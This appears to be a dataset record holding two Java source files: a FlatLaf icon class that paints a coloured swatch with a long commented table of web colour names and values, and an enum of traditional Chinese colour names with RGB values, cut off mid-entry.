file_id
int64
1
66.7k
content
stringlengths
14
343k
repo
stringlengths
6
92
path
stringlengths
5
169
65,513
package com.g3g4x5x6.ui.icon; import com.formdev.flatlaf.FlatLaf; import com.formdev.flatlaf.icons.FlatAbstractIcon; import com.formdev.flatlaf.util.ColorFunctions; import java.awt.*; public class AccentColorIcon extends FlatAbstractIcon { // # accent colors from https://github.com/89netraM/SystemColors/blob/master/src/net/asberg/macos/AccentColor.java // Dark // Demo.accent.default = #4B6EAF // Demo.accent.blue = #0A84FF // Demo.accent.purple = #BF5AF2 // Demo.accent.red = #FF453A // Demo.accent.orange = #FF9F0A // Demo.accent.yellow = #FFCC00 // Demo.accent.green = #32D74B // # accent colors from https://github.com/89netraM/SystemColors/blob/master/src/net/asberg/macos/AccentColor.java // Light // Demo.accent.default = #2675BF // Demo.accent.blue = #007AFF // Demo.accent.purple = #BF5AF2 // Demo.accent.red = #FF3B30 // Demo.accent.orange = #FF9500 // Demo.accent.yellow = #FFCC00 // Demo.accent.green = #28CD41 private Color color; public AccentColorIcon(String color) { super(16, 16, null); this.color = Color.decode(color); } @Override protected void paintIcon(Component c, Graphics2D g) { if (color == null) color = Color.lightGray; else if (!c.isEnabled()) { color = FlatLaf.isLafDark() ? ColorFunctions.shade(color, 0.5f) : ColorFunctions.tint(color, 0.6f); } g.setColor(color); g.fillRoundRect(1, 1, width - 2, height - 2, 5, 5); } } // // LightPink 浅粉色 #FFB6C1 255,182,193 // Pink 粉红 #FFC0CB 255,192,203 // Crimson 猩红 #DC143C 220,20,60 // LavenderBlush 脸红的淡紫色 #FFF0F5 255,240,245 // PaleVioletRed 苍白的紫罗兰红色 #DB7093 219,112,147 // HotPink 热情的粉红 #FF69B4 255,105,180 // DeepPink 深粉色 #FF1493 255,20,147 // MediumVioletRed 适中的紫罗兰红色 #C71585 199,21,133 // Orchid 兰花的紫色 #DA70D6 218,112,214 // Thistle 蓟 #D8BFD8 216,191,216 // plum 李子 #DDA0DD 221,160,221 // Violet 紫罗兰 #EE82EE 238,130,238 // Magenta 洋红 #FF00FF 255,0,255 // Fuchsia 灯笼海棠(紫红色) #FF00FF 255,0,255 // DarkMagenta 深洋红色 #8B008B 139,0,139 // Purple 紫色 #800080 128,0,128 // MediumOrchid 适中的兰花紫 #BA55D3 186,85,211 // DarkVoilet 深紫罗兰色 #9400D3 148,0,211 // DarkOrchid 深兰花紫 #9932CC 153,50,204 // Indigo 靛青 #4B0082 75,0,130 // BlueViolet 深紫罗兰的蓝色 #8A2BE2 138,43,226 // MediumPurple 适中的紫色 #9370DB 147,112,219 // MediumSlateBlue 适中的板岩暗蓝灰色 #7B68EE 123,104,238 // SlateBlue 板岩暗蓝灰色 #6A5ACD 106,90,205 // DarkSlateBlue 深岩暗蓝灰色 #483D8B 72,61,139 // Lavender 薰衣草花的淡紫色 #E6E6FA 230,230,250 // GhostWhite 幽灵的白色 #F8F8FF 248,248,255 // Blue 纯蓝 #0000FF 0,0,255 // MediumBlue 适中的蓝色 #0000CD 0,0,205 // MidnightBlue 午夜的蓝色 #191970 25,25,112 // DarkBlue 深蓝色 #00008B 0,0,139 // Navy 海军蓝 #000080 0,0,128 // RoyalBlue 皇军蓝 #4169E1 65,105,225 // CornflowerBlue 矢车菊的蓝色 #6495ED 100,149,237 // LightSteelBlue 淡钢蓝 #B0C4DE 176,196,222 // LightSlateGray 浅石板灰 #778899 119,136,153 // SlateGray 石板灰 #708090 112,128,144 // DoderBlue 道奇蓝 #1E90FF 30,144,255 // AliceBlue 爱丽丝蓝 #F0F8FF 240,248,255 // SteelBlue 钢蓝 #4682B4 70,130,180 // LightSkyBlue 淡蓝色 #87CEFA 135,206,250 // SkyBlue 天蓝色 #87CEEB 135,206,235 // DeepSkyBlue 深天蓝 #00BFFF 0,191,255 // LightBLue 淡蓝 #ADD8E6 173,216,230 // PowDerBlue 火药蓝 #B0E0E6 176,224,230 // CadetBlue 军校蓝 #5F9EA0 95,158,160 // Azure 蔚蓝色 #F0FFFF 240,255,255 // LightCyan 淡青色 #E1FFFF 225,255,255 // PaleTurquoise 苍白的绿宝石 #AFEEEE 175,238,238 // Cyan 青色 #00FFFF 0,255,255 // Aqua 水绿色 #00FFFF 0,255,255 // DarkTurquoise 深绿宝石 #00CED1 0,206,209 // DarkSlateGray 深石板灰 #2F4F4F 47,79,79 // DarkCyan 深青色 #008B8B 0,139,139 // Teal 水鸭色 #008080 0,128,128 // MediumTurquoise 适中的绿宝石 #48D1CC 72,209,204 // LightSeaGreen 浅海洋绿 #20B2AA 32,178,170 // Turquoise 绿宝石 #40E0D0 64,224,208 // Auqamarin 绿玉\碧绿色 #7FFFAA 127,255,170 // MediumAquamarine 适中的碧绿色 #00FA9A 0,250,154 // MediumSpringGreen 适中的春天的绿色 #F5FFFA 245,255,250 // MintCream 薄荷奶油 #00FF7F 0,255,127 // SpringGreen 春天的绿色 #3CB371 60,179,113 // SeaGreen 海洋绿 #2E8B57 46,139,87 // Honeydew 蜂蜜 #F0FFF0 240,255,240 // LightGreen 淡绿色 #90EE90 144,238,144 // PaleGreen 苍白的绿色 #98FB98 152,251,152 // DarkSeaGreen 深海洋绿 #8FBC8F 143,188,143 // LimeGreen 酸橙绿 #32CD32 50,205,50 // Lime 酸橙色 #00FF00 0,255,0 // ForestGreen 森林绿 #228B22 34,139,34 // Green 纯绿 #008000 0,128,0 // DarkGreen 深绿色 #006400 0,100,0 // Chartreuse 查特酒绿 #7FFF00 127,255,0 // LawnGreen 草坪绿 #7CFC00 124,252,0 // GreenYellow 绿黄色 #ADFF2F 173,255,47 // OliveDrab 橄榄土褐色 #556B2F 85,107,47 // Beige 米色(浅褐色) #6B8E23 107,142,35 // LightGoldenrodYellow 浅秋麒麟黄 #FAFAD2 250,250,210 // Ivory 象牙 #FFFFF0 255,255,240 // LightYellow 浅黄色 #FFFFE0 255,255,224 // Yellow 纯黄 #FFFF00 255,255,0 // Olive 橄榄 #808000 128,128,0 // DarkKhaki 深卡其布 #BDB76B 189,183,107 // LemonChiffon 柠檬薄纱 #FFFACD 255,250,205 // PaleGodenrod 灰秋麒麟 #EEE8AA 238,232,170 // Khaki 卡其布 #F0E68C 240,230,140 // Gold 金 #FFD700 255,215,0 // Cornislk 玉米色 #FFF8DC 255,248,220 // GoldEnrod 秋麒麟 #DAA520 218,165,32 // FloralWhite 花的白色 #FFFAF0 255,250,240 // OldLace 老饰带 #FDF5E6 253,245,230 // Wheat 小麦色 #F5DEB3 245,222,179 // Moccasin 鹿皮鞋 #FFE4B5 255,228,181 // Orange 橙色 #FFA500 255,165,0 // PapayaWhip 番木瓜 #FFEFD5 255,239,213 // BlanchedAlmond 漂白的杏仁 #FFEBCD 255,235,205 // NavajoWhite Navajo白 #FFDEAD 255,222,173 // AntiqueWhite 古代的白色 #FAEBD7 250,235,215 // Tan 晒黑 #D2B48C 210,180,140 // BrulyWood 结实的树 #DEB887 222,184,135 // Bisque (浓汤)乳脂,番茄等 #FFE4C4 255,228,196 // DarkOrange 深橙色 #FF8C00 255,140,0 // Linen 亚麻布 #FAF0E6 250,240,230 // Peru 秘鲁 #CD853F 205,133,63 // PeachPuff 桃色 #FFDAB9 255,218,185 // SandyBrown 沙棕色 #F4A460 244,164,96 // Chocolate 巧克力 #D2691E 210,105,30 // SaddleBrown 马鞍棕色 #8B4513 139,69,19 // SeaShell 海贝壳 #FFF5EE 255,245,238 // Sienna 黄土赭色 #A0522D 160,82,45 // LightSalmon 浅鲜肉(鲑鱼)色 #FFA07A 255,160,122 // Coral 珊瑚 #FF7F50 255,127,80 // OrangeRed 橙红色 #FF4500 255,69,0 // DarkSalmon 深鲜肉(鲑鱼)色 #E9967A 233,150,122 // Tomato 番茄 #FF6347 255,99,71 // MistyRose 薄雾玫瑰 #FFE4E1 255,228,225 // Salmon 鲜肉(鲑鱼)色 #FA8072 250,128,114 // Snow 雪 #FFFAFA 255,250,250 // LightCoral 淡珊瑚色 #F08080 240,128,128 // RosyBrown 玫瑰棕色 #BC8F8F 188,143,143 // IndianRed 印度红 #CD5C5C 205,92,92 // Red 纯红 #FF0000 255,0,0 // Brown 棕色 #A52A2A 165,42,42 // FireBrick 耐火砖 #B22222 178,34,34 // DarkRed 深红色 #8B0000 139,0,0 // Maroon 栗色 #800000 128,0,0 // White 纯白 #FFFFFF 255,255,255 // WhiteSmoke 白烟 #F5F5F5 245,245,245 // Gainsboro Gainsboro #DCDCDC 220,220,220 // LightGrey 浅灰色 #D3D3D3 211,211,211 // Silver 银白色 #C0C0C0 192,192,192 // DarkGray 深灰色 #A9A9A9 169,169,169 // Gray 灰色 #808080 128,128,128 // DimGray 暗淡的灰色 #696969 105,105,105 // Black 纯黑 #000000 0,0,0
G3G4X5X6/ultimate-cube
ultimate-app/src/main/java/com/g3g4x5x6/ui/icon/AccentColorIcon.java
65,514
package io.github.syske.dailynote.util; import java.awt.*; /** * * 颜色根据中国色网站整理,网站地址:http://zhongguose.com/ * * @program: daily-note * @description: 中国色 * @author: syske * @create: 2021-04-30 08:06 */ public enum ChineseColorEnum { /** * 乳白 */ RU_BAI(new Color(249, 244, 220), "乳白", "乳白色"), /** * 杏仁黄 */ XING_REN_HUANG(new Color(249, 236, 195), "杏仁黄", "杏仁黄色"), /** * 茉莉黄 */ MO_LI_HUANG(new Color(248, 223, 114), "茉莉黄", "茉莉黄色"), /** * 麦秆黄 */ MAI_GAN_HUANG(new Color(248, 223, 112), "麦秆黄", "麦秆黄色"), /** * 油菜花黄 */ YOU_CAI_HUA_HUANG(new Color(251, 218, 65), "油菜花黄", "油菜花黄色"), /** * 佛手黄 */ FO_SHOU_HUANG(new Color(254, 215, 26), "佛手黄", "佛手黄色"), /** * 篾黄 */ MIE_HUANG(new Color(247, 222, 152), "篾黄", "篾黄色"), /** * 葵扇黄 */ KUI_SHAN_HUANG(new Color(248, 216, 106), "葵扇黄", "葵扇黄色"), /** * 柠檬黄 */ NING_MENG_HUANG(new Color(252, 211, 55), "柠檬黄", "柠檬黄色"), /** * 金瓜黄 */ JIN_GUA_HUANG(new Color(252, 210, 23), "金瓜黄", "金瓜黄色"), /** * 藤黄 */ TENG_HUANG(new Color(254, 209, 16), "藤黄", "藤黄色"), /** * 酪黄 */ LAO_HUANG(new Color(246, 222, 173), "酪黄", "酪黄色"), /** * 香水玫瑰黄 */ XIANG_SHUI_MEI_GUI_HUANG(new Color(247, 218, 148), "香水玫瑰黄", "香水玫瑰黄色"), /** * 淡密黄 */ DAN_MI_HUANG(new Color(249, 211, 103), "淡密黄", "淡密黄色"), /** * 大豆黄 */ DA_DOU_HUANG(new Color(251, 205, 49), "大豆黄", "大豆黄色"), /** * 素馨黄 */ SU_XIN_HUANG(new Color(252, 203, 22), "素馨黄", "素馨黄色"), /** * 向日葵黄 */ XIANG_RI_KUI_HUANG(new Color(254, 204, 17), "向日葵黄", "向日葵黄色"), /** * 雅梨黄 */ YA_LI_HUANG(new Color(251, 200, 47), "雅梨黄", "雅梨黄色"), /** * 黄连黄 */ HUANG_LIAN_HUANG(new Color(252, 197, 21), "黄连黄", "黄连黄色"), /** * 金盏黄 */ JIN_ZHAN_HUANG(new Color(252, 195, 7), "金盏黄", "金盏黄色"), /** * 蛋壳黄 */ DAN_KE_HUANG(new Color(248, 195, 135), "蛋壳黄", "蛋壳黄色"), /** * 肉色 */ ROU_SE(new Color(247, 193, 115), "肉色", "肉色色"), /** * 鹅掌黄 */ E_ZHANG_HUANG(new Color(251, 185, 41), "鹅掌黄", "鹅掌黄色"), /** * 鸡蛋黄 */ JI_DAN_HUANG(new Color(251, 182, 18), "鸡蛋黄", "鸡蛋黄色"), /** * 鼬黄 */ YOU_HUANG(new Color(252, 183, 10), "鼬黄", "鼬黄色"), /** * 榴萼黄 */ LIU_E_HUANG(new Color(249, 166, 51), "榴萼黄", "榴萼黄色"), /** * 淡橘橙 */ DAN_JU_CHENG(new Color(251, 164, 20), "淡橘橙", "淡橘橙色"), /** * 枇杷黄 */ PI_PA_HUANG(new Color(252, 161, 6), "枇杷黄", "枇杷黄色"), /** * 橙皮黄 */ CHENG_PI_HUANG(new Color(252, 161, 4), "橙皮黄", "橙皮黄色"), /** * 北瓜黄 */ BEI_GUA_HUANG(new Color(252, 140, 35), "北瓜黄", "北瓜黄色"), /** * 杏黄 */ XING_HUANG(new Color(250, 142, 22), "杏黄", "杏黄色"), /** * 雄黄 */ XIONG_HUANG(new Color(255, 153, 0), "雄黄", "雄黄色"), /** * 万寿菊黄 */ WAN_SHOU_JU_HUANG(new Color(251, 139, 5), "万寿菊黄", "万寿菊黄色"), /** * 菊蕾白 */ JU_LEI_BAI(new Color(233, 221, 182), "菊蕾白", "菊蕾白色"), /** * 秋葵黄 */ QIU_KUI_HUANG(new Color(238, 208, 69), "秋葵黄", "秋葵黄色"), /** * 硫华黄 */ LIU_HUA_HUANG(new Color(242, 206, 43), "硫华黄", "硫华黄色"), /** * 柚黄 */ YOU_HUANG1(new Color(241, 202, 23), "柚黄", "柚黄色"), /** * 芒果黄 */ MANG_GUO_HUANG(new Color(221, 200, 113), "芒果黄", "芒果黄色"), /** * 蒿黄 */ HAO_HUANG(new Color(223, 194, 67), "蒿黄", "蒿黄色"), /** * 姜黄 */ JIAN_GHUANG(new Color(226, 192, 39), "姜黄", "姜黄色"), /** * 香蕉黄 */ XIANG_JIAO_HUANG(new Color(228, 191, 17), "香蕉黄", "香蕉黄色"), /** * 草黄 */ CAO_HUANG(new Color(210, 180, 44), "草黄", "草黄色"), /** * 新禾绿 */ XIN_HE_LV(new Color(210, 177, 22), "新禾绿", "新禾绿色"), /** * 月灰 */ YUE_HUI(new Color(183, 174, 143), "月灰", "月灰色"), /** * 淡灰绿 */ DAN_HUI_LV(new Color(173, 158, 85), "淡灰绿", "淡灰绿色"), /** * 草灰绿 */ CAO_HUI_LV(new Color(142, 128, 75), "草灰绿", "草灰绿色"), /** * 苔绿 */ TAI_LV(new Color(136, 115, 34), "苔绿", "苔绿色"), /** * 碧螺春绿 */ BI_LUO_CHUN_LV(new Color(134, 112, 24), "碧螺春绿", "碧螺春绿色"), /** * 燕羽灰 */ YAN_YU_HUI(new Color(104, 94, 72), "燕羽灰", "燕羽灰色"), /** * 蟹壳灰 */ XIE_KE_HUI(new Color(105, 94, 69), "蟹壳灰", "蟹壳灰色"), /** * 潭水绿 */ TAN_SHUI_LV(new Color(100, 88, 34), "潭水绿", "潭水绿色"), /** * 橄榄绿 */ GAN_LAN_LV(new Color(94, 83, 20), "橄榄绿", "橄榄绿色"), /** * 蚌肉白 */ BANG_ROU_BAI(new Color(249, 241, 219), "蚌肉白", "蚌肉白色"), /** * 豆汁黄 */ DOU_ZHI_HUANG(new Color(248, 232, 193), "豆汁黄", "豆汁黄色"), /** * 淡茧黄 */ DAN_JIAN_HUANG(new Color(249, 215, 112), "淡茧黄", "淡茧黄色"), /** * 乳鸭黄 */ RU_YA_HUANG(new Color(255, 201, 12), "乳鸭黄", "乳鸭黄色"), /** * 荔肉白 */ LI_ROU_BAI(new Color(242, 230, 206), "荔肉白", "荔肉白色"), /** * 象牙黄 */ XIANG_YA_HUANG(new Color(240, 214, 149), "象牙黄", "象牙黄色"), /** * 炒米黄 */ CHAO_MI_HUANG(new Color(244, 206, 105), "炒米黄", "炒米黄色"), /** * 鹦鹉冠黄 */ YING_WU_GUAN_HUANG(new Color(246, 196, 48), "鹦鹉冠黄", "鹦鹉冠黄色"), /** * 木瓜黄 */ MU_GUA_HUANG(new Color(249, 193, 22), "木瓜黄", "木瓜黄色"), /** * 浅烙黄 */ QIAN_LAO_HUANG(new Color(249, 189, 16), "浅烙黄", "浅烙黄色"), /** * 莲子白 */ LIAN_ZI_BAI(new Color(229, 211, 170), "莲子白", "莲子白色"), /** * 谷黄 */ GU_HUANG(new Color(232, 176, 4), "谷黄", "谷黄色"), /** * 栀子黄 */ ZHI_ZI_HUANG(new Color(235, 177, 13), "栀子黄", "栀子黄色"), /** * 芥黄 */ JIE_HUANG(new Color(217, 164, 14), "芥黄", "芥黄色"), /** * 银鼠灰 */ YIN_SHU_HUI(new Color(181, 170, 144), "银鼠灰", "银鼠灰色"), /** * 尘灰 */ CHEN_HUI(new Color(182, 164, 118), "尘灰", "尘灰色"), /** * 枯绿 */ KU_LV(new Color(183, 141, 18), "枯绿", "枯绿色"), /** * 鲛青 */ JIAO_QING(new Color(135, 114, 62), "鲛青", "鲛青色"), /** * 粽叶绿 */ ZONG_YE_LV(new Color(135, 104, 24), "粽叶绿", "粽叶绿色"), /** * 灰绿 */ HUI_LV(new Color(138, 105, 19), "灰绿", "灰绿色"), /** * 鹤灰 */ HE_HUI(new Color(74, 64, 53), "鹤灰", "鹤灰色"), /** * 淡松烟 */ DAN_SONG_YAN(new Color(77, 64, 48), "淡松烟", "淡松烟色"), /** * 暗海水绿 */ AN_HAI_SHUI_LV(new Color(88, 71, 23), "暗海水绿", "暗海水绿色"), /** * 棕榈绿 */ ZONG_LV_LV(new Color(91, 73, 19), "棕榈绿", "棕榈绿色"), /** * 米色 */ MI_SE(new Color(249, 223, 205), "米色", "米色色"), /** * 淡肉色 */ DAN_ROU_SE(new Color(248, 224, 176), "淡肉色", "淡肉色色"), /** * 麦芽糖黄 */ MAI_YA_TANG_HUANG(new Color(249, 210, 125), "麦芽糖黄", "麦芽糖黄色"), /** * 琥珀黄 */ HU_PO_HUANG(new Color(254, 186, 7), "琥珀黄", "琥珀黄色"), /** * 甘草黄 */ GAN_CAO_HUANG(new Color(243, 191, 76), "甘草黄", "甘草黄色"), /** * 初熟杏黄 */ CHU_SHU_XING_HUANG(new Color(248, 188, 49), "初熟杏黄", "初熟杏黄色"), /** * 浅驼色 */ QIAN_TUO_SE(new Color(226, 193, 124), "浅驼色", "浅驼色色"), /** * 沙石黄 */ SHA_SHI_HUANG(new Color(229, 183, 81), "沙石黄", "沙石黄色"), /** * 虎皮黄 */ HU_PI_HUANG(new Color(234, 173, 26), "虎皮黄", "虎皮黄色"), /** * 土黄 */ TU_HUANG(new Color(214, 160, 29), "土黄", "土黄色"), /** * 百灵鸟灰 */ BAI_LING_NIAO_HUI(new Color(180, 169, 146), "百灵鸟灰", "百灵鸟灰色"), /** * 山鸡黄 */ SHAN_JI_HUANG(new Color(183, 139, 38), "山鸡黄", "山鸡黄色"), /** * 龟背黄 */ GUI_BEI_HUANG(new Color(130, 107, 72), "龟背黄", "龟背黄色"), /** * 苍黄 */ CANG_HUANG(new Color(128, 99, 50), "苍黄", "苍黄色"), /** * 莱阳梨黄 */ LAI_YANG_LI_HUANG(new Color(129, 95, 37), "莱阳梨黄", "莱阳梨黄色"), /** * 蜴蜊绿 */ YI_LI_LV(new Color(131, 94, 29), "蜴蜊绿", "蜴蜊绿色"), /** * 松鼠灰 */ SONG_SHU_HUI(new Color(79, 64, 50), "松鼠灰", "松鼠灰色"), /** * 橄榄灰 */ GAN_LAN_HUI(new Color(80, 62, 42), "橄榄灰", "橄榄灰色"), /** * 蟹壳绿 */ XIE_KE_LV(new Color(81, 60, 32), "蟹壳绿", "蟹壳绿色"), /** * 古铜绿 */ GU_TONG_LV(new Color(83, 60, 27), "古铜绿", "古铜绿色"), /** * 焦茶绿 */ JIAO_CHA_LV(new Color(85, 59, 24), "焦茶绿", "焦茶绿色"), /** * 粉白 */ FEN_BAI(new Color(251, 242, 227), "粉白", "粉白色"), /** * 落英淡粉 */ LUO_YING_DAN_FEN(new Color(249, 232, 208), "落英淡粉", "落英淡粉色"), /** * 瓜瓤粉 */ GUA_RANG_FEN(new Color(249, 203, 139), "瓜瓤粉", "瓜瓤粉色"), /** * 蜜黄 */ MI_HUANG(new Color(251, 185, 87), "蜜黄", "蜜黄色"), /** * 金叶黄 */ JIN_YE_HUANG(new Color(255, 166, 15), "金叶黄", "金叶黄色"), /** * 金莺黄 */ JIN_YING_HUANG(new Color(244, 168, 58), "金莺黄", "金莺黄色"), /** * 鹿角棕 */ LU_JIAO_ZONG(new Color(227, 189, 141), "鹿角棕", "鹿角棕色"), /** * 凋叶棕 */ DIAO_YE_ZONG(new Color(231, 162, 63), "凋叶棕", "凋叶棕色"), /** * 玳瑁黄 */ DAI_MAO_HUANG(new Color(218, 164, 90), "玳瑁黄", "玳瑁黄色"), /** * 软木黄 */ RUAN_MU_HUANG(new Color(222, 158, 68), "软木黄", "软木黄色"), /** * 风帆黄 */ FENG_FAN_HUANG(new Color(220, 145, 35), "风帆黄", "风帆黄色"), /** * 桂皮淡棕 */ GUI_PI_DAN_ZONG(new Color(192, 147, 81), "桂皮淡棕", "桂皮淡棕色"), /** * 猴毛灰 */ HOU_MAO_HUI(new Color(151, 132, 108), "猴毛灰", "猴毛灰色"), /** * 山鸡褐 */ SHAN_JI_HE(new Color(152, 101, 36), "山鸡褐", "山鸡褐色"), /** * 驼色 */ TUO_SE(new Color(102, 70, 42), "驼色", "驼色色"), /** * 茶褐 */ CHA_HE(new Color(93, 61, 33), "茶褐", "茶褐色"), /** * 古铜褐 */ GU_TONG_HE(new Color(92, 55, 25), "古铜褐", "古铜褐色"), /** * 荷花白 */ HE_HUA_BAI(new Color(251, 236, 222), "荷花白", "荷花白色"), /** * 玫瑰粉 */ MEI_GUI_FEN(new Color(248, 179, 127), "玫瑰粉", "玫瑰粉色"), /** * 橘橙 */ JU_CHENG(new Color(249, 125, 28), "橘橙", "橘橙色"), /** * 美人焦橙 */ MEI_REN_JIAO_CHENG(new Color(250, 126, 35), "美人焦橙", "美人焦橙色"), /** * 润红 */ RUN_HONG(new Color(247, 205, 188), "润红", "润红色"), /** * 淡桃红 */ DAN_TAO_HONG(new Color(246, 206, 193), "淡桃红", "淡桃红色"), /** * 海螺橙 */ HAI_LUO_CHENG(new Color(240, 148, 93), "海螺橙", "海螺橙色"), /** * 桃红 */ TAO_HONG(new Color(240, 173, 160), "桃红", "桃红色"), /** * 颊红 */ JIA_HONG(new Color(238, 170, 156), "颊红", "颊红色"), /** * 淡罂粟红 */ DAN_YING_SU_HONG(new Color(238, 160, 140), "淡罂粟红", "淡罂粟红色"), /** * 晨曦红 */ CHEN_XI_HONG(new Color(234, 137, 88), "晨曦红", "晨曦红色"), /** * 蟹壳红 */ XIE_KE_HONG(new Color(242, 118, 53), "蟹壳红", "蟹壳红色"), /** * 金莲花橙 */ JIN_LIAN_HUA_CHENG(new Color(248, 107, 29), "金莲花橙", "金莲花橙色"), /** * 草莓红 */ CAO_MEI_HONG(new Color(239, 111, 72), "草莓红", "草莓红色"), /** * 龙睛鱼红 */ LONG_JING_YU_HONG(new Color(239, 99, 43), "龙睛鱼红", "龙睛鱼红色"), /** * 蜻蜓红 */ QING_TING_HONG(new Color(241, 68, 29), "蜻蜓红", "蜻蜓红色"), /** * 大红 */ DA_HONG(new Color(240, 75, 34), "大红", "大红色"), /** * 柿红 */ SHI_HONG(new Color(242, 72, 27), "柿红", "柿红色"), /** * 榴花红 */ LIU_HUA_HONG(new Color(243, 71, 24), "榴花红", "榴花红色"), /** * 银朱 */ YIN_ZHU(new Color(244, 62, 6), "银朱", "银朱色"), /** * 朱红 */ ZHU_HONG(new Color(237, 81, 38), "朱红", "朱红色"), /** * 鲑鱼红 */ GUI_YU_HONG(new Color(240, 156, 90), "鲑鱼红", "鲑鱼红色"), /** * 金黄 */ JIN_HUANG(new Color(242, 123, 31), "金黄", "金黄色"), /** * 鹿皮褐 */ LU_PI_HE(new Color(217, 145, 86), "鹿皮褐", "鹿皮褐色"), /** * 醉瓜肉 */ ZUI_GUA_ROU(new Color(219, 133, 64), "醉瓜肉", "醉瓜肉色"), /** * 麂棕 */ JI_ZONG(new Color(222, 118, 34), "麂棕", "麂棕色"), /** * 淡银灰 */ DAN_YIN_HUI(new Color(193, 178, 163), "淡银灰", "淡银灰色"), /** * 淡赭 */ DAN_ZHE(new Color(190, 126, 74), "淡赭", "淡赭色"), /** * 槟榔综 */ BING_LANG_ZONG(new Color(193, 101, 26), "槟榔综", "槟榔综色"), /** * 银灰 */ YIN_HUI(new Color(145, 128, 114), "银灰", "银灰色"), /** * 海鸥灰 */ HAI_OU_HUI(new Color(154, 136, 120), "海鸥灰", "海鸥灰色"), /** * 淡咖啡 */ DAN_KA_FEI(new Color(148, 88, 51), "淡咖啡", "淡咖啡色"), /** * 岩石棕 */ YAN_SHI_ZONG(new Color(150, 77, 34), "岩石棕", "岩石棕色"), /** * 芒果棕 */ MANG_GUO_ZONG(new Color(149, 68, 22), "芒果棕", "芒果棕色"), /** * 石板灰 */ SHI_BAN_HUI(new Color(98, 73, 65), "石板灰", "石板灰色"), /** * 珠母灰 */ ZHU_MU_HUI(new Color(100, 72, 61), "珠母灰", "珠母灰色"), /** * 丁香棕 */ DING_XIANG_ZONG(new Color(113, 54, 29), "丁香棕", "丁香棕色"), /** * 咖啡 */ KA_FEI(new Color(117, 49, 23), "咖啡", "咖啡色"), /** * 筍皮棕 */ SUN_PI_ZONG(new Color(115, 46, 18), "筍皮棕", "筍皮棕色"), /** * 燕颔红 */ YAN_HAN_HONG(new Color(252, 99, 21), "燕颔红", "燕颔红色"), /** * 玉粉红 */ YU_FEN_HONG(new Color(232, 180, 154), "玉粉红", "玉粉红色"), /** * 金驼 */ JIN_TUO(new Color(228, 104, 40), "金驼", "金驼色"), /** * 铁棕 */ TIE_ZONG(new Color(216, 89, 22), "铁棕", "铁棕色"), /** * 蛛网灰 */ ZHU_WANG_HUI(new Color(183, 160, 145), "蛛网灰", "蛛网灰色"), /** * 淡可可棕 */ DAN_KE_KE_ZONG(new Color(183, 81, 29), "淡可可棕", "淡可可棕色"), /** * 中红灰 */ ZHONG_HONG_HUI(new Color(139, 97, 77), "中红灰", "中红灰色"), /** * 淡土黄 */ DAN_TU_HUANG(new Color(140, 75, 49), "淡土黄", "淡土黄色"), /** * 淡豆沙 */ DAN_DOU_SHA(new Color(135, 61, 36), "淡豆沙", "淡豆沙色"), /** * 椰壳棕 */ YE_KE_ZONG(new Color(136, 58, 30), "椰壳棕", "椰壳棕色"), /** * 淡铁灰 */ DAN_TIE_HUI(new Color(91, 66, 58), "淡铁灰", "淡铁灰色"), /** * 中灰驼 */ ZHONG_HUI_TUO(new Color(96, 61, 48), "中灰驼", "中灰驼色"), /** * 淡栗棕 */ DAN_LI_ZONG(new Color(103, 52, 36), "淡栗棕", "淡栗棕色"), /** * 可可棕 */ KE_KE_ZONG(new Color(101, 43, 28), "可可棕", "可可棕色"), /** * 柞叶棕 */ ZHA_YE_ZONG(new Color(105, 42, 27), "柞叶棕", "柞叶棕色"), /** * 野蔷薇红 */ YE_QIANG_WEI_HONG(new Color(251, 153, 104), "野蔷薇红", "野蔷薇红色"), /** * 菠萝红 */ BO_LUO_HONG(new Color(252, 121, 48), "菠萝红", "菠萝红色"), /** * 藕荷 */ OU_HE(new Color(237, 195, 174), "藕荷", "藕荷色"), /** * 陶瓷红 */ TAO_CI_HONG(new Color(225, 103, 35), "陶瓷红", "陶瓷红色"), /** * 晓灰 */ XIAO_HUI(new Color(212, 196, 183), "晓灰", "晓灰色"), /** * 余烬红 */ YU_JIN_HONG(new Color(207, 117, 67), "余烬红", "余烬红色"), /** * 火砖红 */ HUO_ZHUAN_HONG(new Color(205, 98, 39), "火砖红", "火砖红色"), /** * 火泥棕 */ HUO_NI_ZONG(new Color(170, 106, 76), "火泥棕", "火泥棕色"), /** * 绀红 */ GAN_HONG(new Color(166, 82, 44), "绀红", "绀红色"), /** * 橡树棕 */ XIANG_SHU_ZONG(new Color(119, 61, 49), "橡树棕", "橡树棕色"), /** * 海报灰 */ HAI_BAO_HUI(new Color(72, 51, 50), "海报灰", "海报灰色"), /** * 玫瑰灰 */ MEI_GUI_HUI(new Color(175, 46, 43), "玫瑰灰", "玫瑰灰色"), /** * 火山棕 */ HUO_SHAN_ZONG(new Color(72, 37, 34), "火山棕", "火山棕色"), /** * 豆沙 */ DOU_SHA(new Color(72, 30, 28), "豆沙", "豆沙色"), /** * 淡米粉 */ DAN_MI_FEN(new Color(251, 238, 226), "淡米粉", "淡米粉色"), /** * 初桃粉红 */ CHU_TAO_FEN_HONG(new Color(246, 220, 206), "初桃粉红", "初桃粉红色"), /** * 介壳淡粉红 */ JIE_QIAO_DAN_FEN_HONG(new Color(247, 207, 186), "介壳淡粉红", "介壳淡粉红色"), /** * 淡藏花红 */ DAN_CANG_HUA_HONG(new Color(246, 173, 143), "淡藏花红", "淡藏花红色"), /** * 瓜瓤红 */ GUA_RANG_HONG(new Color(246, 140, 96), "瓜瓤红", "瓜瓤红色"), /** * 芙蓉红 */ FU_RONG_HONG(new Color(249, 114, 61), "芙蓉红", "芙蓉红色"), /** * 莓酱红 */ MEI_JIANG_HONG(new Color(250, 93, 25), "莓酱红", "莓酱红色"), /** * 法螺红 */ FA_LUO_HONG(new Color(238, 128, 85), "法螺红", "法螺红色"), /** * 落霞红 */ LUO_XIA_HONG(new Color(207, 72, 19), "落霞红", "落霞红色"), /** * 淡玫瑰灰 */ DAN_MEI_GUI_HUI(new Color(184, 148, 133), "淡玫瑰灰", "淡玫瑰灰色"), /** * 蟹蝥红 */ XIE_MAO_HONG(new Color(177, 75, 40), "蟹蝥红", "蟹蝥红色"), /** * 火岩棕 */ HUO_YAN_ZONG(new Color(134, 48, 32), "火岩棕", "火岩棕色"), /** * 赭石 */ ZHE_SHI(new Color(134, 38, 23), "赭石", "赭石色"), /** * 暗驼棕 */ AN_TUO_ZONG(new Color(89, 38, 32), "暗驼棕", "暗驼棕色"), /** * 酱棕 */ JIANG_ZONG(new Color(90, 31, 27), "酱棕", "酱棕色"), /** * 栗棕 */ LI_ZONG(new Color(92, 30, 25), "栗棕", "栗棕色"), /** * 洋水仙红 */ YANG_SHUI_XIAN_HONG(new Color(244, 199, 186), 